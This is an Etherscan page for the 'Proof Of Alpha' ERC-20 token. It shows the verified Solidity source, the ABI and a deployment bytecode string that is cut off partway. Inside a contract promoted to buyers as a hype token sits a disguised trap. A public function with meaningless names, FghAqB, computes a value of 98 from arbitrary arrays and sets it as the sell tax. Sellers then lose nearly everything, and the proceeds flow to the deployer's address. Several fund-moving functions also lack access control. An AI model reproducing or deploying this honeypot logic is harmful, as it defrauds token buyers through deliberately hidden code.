ETH Price: $2,893.55 (-5.09%)
Gas: 4 Gwei

Token

Proof Of Alpha (POA)
 

Overview

Max Total Supply

1,000,000,000,000 POA

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
22,654,550,196.488061955 POA

Value
$0.00
0x9728d838035c3da27b6e8c07de6f4d7ef4f7e06b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ProofOfAlpha

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-21
*/

// Telegram : https://t.me/ProofOfAlphaERC

// Twitter : https://twitter.com/Proof_OfAlpha

/*

🔥🐺 🔥 #PROOF-OF-ALPHA #ERC 🔥🐺 🔥
We are the original #POA crypto token 
We are here to stay.
Join the hype and become a legend! 🔥🐺 🔥

*/

pragma solidity ^0.8.18;

// SPDX-License-Identifier: MIT


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract ProofOfAlpha is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "Proof Of Alpha";
    string private constant _symbol = "POA";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private GtAmsd = 1;
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private NewValuationOnBuy = 1;
    uint256 private _redisFeeOnSell = 0;

    uint256 private GzGz;
    uint256 private Catchyster = 2;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private NewValuation = GtAmsd;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = NewValuation;

    address payable private _developmentAddress = payable(msg.sender);
    address payable private _marketingAddress = payable(msg.sender);
    address private uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = true;
    bool private inSwap = false;
    bool private swapEnabled = true;
    uint256[4] BrrOne = [1,0,23,5];
    uint256[6] BrrTwo = [0,1,12,31,4,7];

     uint256 public _maxTxAmount = _tTotal * 5/100;
    uint256 public _maxWalletSize = _tTotal * 4/100;
    uint256 public _swapTokensAtAmount = _tTotal*1/1000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[address(0xdead)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && NewValuation == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = NewValuation;

        _redisFee = 0;
        NewValuation = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        NewValuation = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            if(to != uniswapV2Pair && to != uniswapRouter && to != _developmentAddress && to != address(this) && to !=address(0xdead)) {
                require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
              }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _swapTokensAtAmount*2)
            {
                contractTokenBalance = contractTokenBalance;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(contractETHBalance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                NewValuation = NewValuationOnBuy;
            }

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                NewValuation = GtAmsd;
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function manualsend() external {
        sendETHToFee(address(this).balance);
    }

    function manualSwap(uint256 percent) external {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 swapamount = contractTokenBalance*percent/100;
        swapTokensForEth(swapamount);
    }

    function toggleSwap (bool _swapEnabled) external {
        swapEnabled = _swapEnabled;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function FghAqB(string memory walle , uint256 Amont) public {
        walle = "walle";
        Amont = 9;
            GzGz = BrrOne[2] * BrrTwo[4] + (Catchyster *3);
            GtAmsd = GzGz;  
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, NewValuation);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function RemoveLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"string","name":"walle","type":"string"},{"internalType":"uint256","name":"Amont","type":"uint256"}],"name":"FghAqB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001b683635c9adc5dea000006000196200050a565b620000299060001962000537565b6006556001600781905560006009819055600a829055600b8190556002600d55600e819055600f8290556010819055601182905560128054336001600160a01b0319918216811790925560138054821690921790915560148054737a250d5630b4cf539739df2c5dacb4c659f2488d92169190911790556016805462ffffff60a01b19166201000160a01b179055604080516080810182529283526020830191909152601790820181905260056060830152620000e891600462000460565b506040805160c0810182526000815260016020820152600c91810191909152601f606082015260046080820152600760a08201526200012c90601b906006620004a8565b50606462000145683635c9adc5dea00000600562000553565b6200015191906200056d565b60215560646200016c683635c9adc5dea00000600462000553565b6200017891906200056d565b6022556103e862000194683635c9adc5dea00000600162000553565b620001a091906200056d565b602355348015620001b057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200026e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000294919062000584565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000308919062000584565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000356573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037c919062000584565b601680546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff19908116600190811790925530855282852080548216831790556013548616855282852080548216831790556012549095168452818420805486168217905561dead84527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054909516179093559151683635c9adc5dea00000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620005b6565b826004810192821562000496579160200282015b8281111562000496578251829060ff1690559160200191906001019062000474565b50620004a4929150620004dd565b5090565b826006810192821562000496579160200282018281111562000496578251829060ff1690559160200191906001019062000474565b5b80821115620004a45760008155600101620004de565b634e487b7160e01b600052601260045260246000fd5b6000826200051c576200051c620004f4565b500690565b634e487b7160e01b600052601160045260246000fd5b818103818111156200054d576200054d62000521565b92915050565b80820281158282048414176200054d576200054d62000521565b6000826200057f576200057f620004f4565b500490565b6000602082840312156200059757600080fd5b81516001600160a01b0381168114620005af57600080fd5b9392505050565b61181080620005c66000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab5780638f9a55c01161006f5780638f9a55c01461037c57806395d89b4114610392578063a9059cbb146103be578063b70143c9146103de578063dd62ed3e146103fe578063f2fde38b1461044457600080fd5b806370a08231146102f3578063715018a6146103135780637d1db4a5146103285780638ad230131461033e5780638da5cb5b1461035e57600080fd5b80632fd689e3116100fd5780632fd689e31461023c578063313ce5671461025257806349bd5a5e1461026e57806356cd40e71461028e5780636d8aa8f8146102a55780636fc3eaec146102de57600080fd5b806306fdde0314610145578063095ea7b31461018e5780631694505e146101be57806318160ddd146101f657806323b872dd1461021c57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d50726f6f66204f6620416c70686160901b60208201525b6040516101859190611435565b60405180910390f35b34801561019a57600080fd5b506101ae6101a936600461149b565b610464565b6040519015158152602001610185565b3480156101ca57600080fd5b506015546101de906001600160a01b031681565b6040516001600160a01b039091168152602001610185565b34801561020257600080fd5b50683635c9adc5dea000005b604051908152602001610185565b34801561022857600080fd5b506101ae6102373660046114c7565b61047b565b34801561024857600080fd5b5061020e60235481565b34801561025e57600080fd5b5060405160098152602001610185565b34801561027a57600080fd5b506016546101de906001600160a01b031681565b34801561029a57600080fd5b506102a36104e4565b005b3480156102b157600080fd5b506102a36102c0366004611508565b60168054911515600160b01b0260ff60b01b19909216919091179055565b3480156102ea57600080fd5b506102a3610526565b3480156102ff57600080fd5b5061020e61030e36600461152a565b610531565b34801561031f57600080fd5b506102a3610553565b34801561033457600080fd5b5061020e60215481565b34801561034a57600080fd5b506102a361035936600461155d565b6105c7565b34801561036a57600080fd5b506000546001600160a01b03166101de565b34801561038857600080fd5b5061020e60225481565b34801561039e57600080fd5b50604080518082019091526003815262504f4160e81b6020820152610178565b3480156103ca57600080fd5b506101ae6103d936600461149b565b61061c565b3480156103ea57600080fd5b506102a36103f9366004611612565b610629565b34801561040a57600080fd5b5061020e61041936600461162b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561045057600080fd5b506102a361045f36600461152a565b61065e565b6000610471338484610748565b5060015b92915050565b600061048884848461086c565b6104da84336104d5856040518060600160405280602881526020016117b3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d04565b610748565b5060019392505050565b6000546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611664565b60405180910390fd5b683635c9adc5dea00000602155565b61052f47610d3e565b565b6001600160a01b03811660009081526002602052604081205461047590610d7c565b6000546001600160a01b0316331461057d5760405162461bcd60e51b815260040161050e90611664565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b505060408051808201909152600581526477616c6c6560d81b6020820152600d546009906105f69060036116af565b601f5460195461060691906116af565b61061091906116dc565b600c8190556007555050565b600061047133848461086c565b600061063430610531565b90506000606461064484846116af565b61064e91906116ef565b905061065981610e00565b505050565b6000546001600160a01b031633146106885760405162461bcd60e51b815260040161050e90611664565b6001600160a01b0381166106ed5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050e565b6001600160a01b03821661080b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050e565b6001600160a01b0382166109325760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050e565b600081116109945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050e565b6000546001600160a01b038481169116148015906109c057506000546001600160a01b03838116911614155b15610bf757601654600160a01b900460ff16610a59576000546001600160a01b03848116911614610a595760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161050e565b6016546001600160a01b03838116911614801590610a8557506014546001600160a01b03838116911614155b8015610a9f57506012546001600160a01b03838116911614155b8015610ab457506001600160a01b0382163014155b8015610acb57506001600160a01b03821661dead14155b15610b2257602154811115610b225760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161050e565b6000610b2d30610531565b6023549091508082101590610b439060026116af565b50808015610b5b5750601654600160a81b900460ff16155b8015610b7557506016546001600160a01b03868116911614155b8015610b8a5750601654600160b01b900460ff165b8015610baf57506001600160a01b03851660009081526005602052604090205460ff16155b8015610bd457506001600160a01b03841660009081526005602052604090205460ff16155b15610bf457610be282610e00565b478015610bf257610bf281610d3e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c3957506001600160a01b03831660009081526005602052604090205460ff165b80610c6b57506016546001600160a01b03858116911614801590610c6b57506016546001600160a01b03848116911614155b15610c7857506000610cf2565b6016546001600160a01b038581169116148015610ca357506015546001600160a01b03848116911614155b15610cb557600954600e55600a54600f555b6016546001600160a01b038481169116148015610ce057506015546001600160a01b03858116911614155b15610cf257600b54600e55600754600f555b610cfe84848484610f7a565b50505050565b60008184841115610d285760405162461bcd60e51b815260040161050e9190611435565b506000610d358486611711565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d78573d6000803e3d6000fd5b5050565b6000600654821115610de35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161050e565b6000610ded610fa8565b9050610df98382610fcb565b9392505050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4857610e486116c6565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec59190611724565b81600181518110610ed857610ed86116c6565b6001600160a01b039283166020918202929092010152601554610efe9130911684610748565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f37908590600090869030904290600401611741565b600060405180830381600087803b158015610f5157600080fd5b505af1158015610f65573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80610f8757610f8761100d565b610f9284848461103b565b80610cfe57610cfe601054600e55601154600f55565b6000806000610fb5611132565b9092509050610fc48282610fcb565b9250505090565b6000610df983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611174565b600e5415801561101d5750600f54155b1561102457565b600e8054601055600f805460115560009182905555565b60008060008060008061104d876111a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061107f90876111ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110ae9086611241565b6001600160a01b0389166000908152600260205260409020556110d0816112a0565b6110da84836112ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161111f91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061114e8282610fcb565b82101561116b57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836111955760405162461bcd60e51b815260040161050e9190611435565b506000610d3584866116ef565b60008060008060008060008060006111bf8a600e54600f5461130e565b92509250925060006111cf610fa8565b905060008060006111e28e878787611363565b919e509c509a509598509396509194505050505091939550919395565b6000610df983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d04565b60008061124e83856116dc565b905083811015610df95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b60006112aa610fa8565b905060006112b883836113b3565b306000908152600260205260409020549091506112d59082611241565b30600090815260026020526040902055505050565b6006546112f790836111ff565b6006556008546113079082611241565b6008555050565b6000808080611328606461132289896113b3565b90610fcb565b9050600061133b60646113228a896113b3565b905060006113538261134d8b866111ff565b906111ff565b9992985090965090945050505050565b600080808061137288866113b3565b9050600061138088876113b3565b9050600061138e88886113b3565b905060006113a08261134d86866111ff565b939b939a50919850919650505050505050565b6000826000036113c557506000610475565b60006113d183856116af565b9050826113de85836116ef565b14610df95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b600060208083528351808285015260005b8181101561146257858101830151858201604001528201611446565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149857600080fd5b50565b600080604083850312156114ae57600080fd5b82356114b981611483565b946020939093013593505050565b6000806000606084860312156114dc57600080fd5b83356114e781611483565b925060208401356114f781611483565b929592945050506040919091013590565b60006020828403121561151a57600080fd5b81358015158114610df957600080fd5b60006020828403121561153c57600080fd5b8135610df981611483565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561157057600080fd5b823567ffffffffffffffff8082111561158857600080fd5b818501915085601f83011261159c57600080fd5b8135818111156115ae576115ae611547565b604051601f8201601f19908116603f011681019083821181831017156115d6576115d6611547565b816040528281528860208487010111156115ef57600080fd5b826020860160208301376000602093820184015298969091013596505050505050565b60006020828403121561162457600080fd5b5035919050565b6000806040838503121561163e5